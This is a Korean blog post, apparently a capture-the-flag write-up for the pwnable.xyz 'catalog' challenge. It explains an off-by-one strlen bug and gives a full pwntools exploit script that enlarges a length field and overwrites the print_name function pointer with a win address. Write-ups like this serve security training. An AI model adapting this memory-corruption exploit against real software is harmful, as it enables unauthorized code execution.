이름을 쓰고, 수정하고 출력하는 기능이 주어진다
이름을 쓰는 과정에서 이름을 채워준 뒤 strlen을 통해 이름의 총 길이를 구하는데 이때 이름을 모두 채워주면 strlen에서 이름의 길이 byte가 추가된 0x21byte를 반환 할 수 있어서 edit_name으로 길이를 0xff로 바꿔 print_name함수가 저장된 공간을 win으로 덮어 줬다
from pwn import *
p = remote("svc.pwnable.xyz", 30023)
#p = process("./catalog")
def write_name(data):
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"name: ")
p.send(data)
def edit_name(idx, data):
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"index: ")
p.sendline(str(idx))
p.recvuntil(b"name: ")
p.send(data)
def print_name():
p.recvuntil(b"> ")
p.sendline(b"3")
p.recvuntil(b"index: ")
p.sendline(b"0")
win = 0x40092c
payload = b"A" * 0x20
write_name(payload)
payload = b"A" * 0x20
payload += b"\xff"
edit_name(0, payload)
payload = b"A" * 0x28
payload += p64(win)
edit_name(0, payload)
print_name()
p.interactive()
'pwn > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / executioner (0) | 2022.05.22 |
---|---|
pwnable.xyz / Punch it (0) | 2022.05.22 |
pwnable.xyz / PvP (0) | 2022.05.21 |
pwnable.xyz / bookmark (0) | 2022.05.21 |
pwnable.xyz / attack (0) | 2022.05.21 |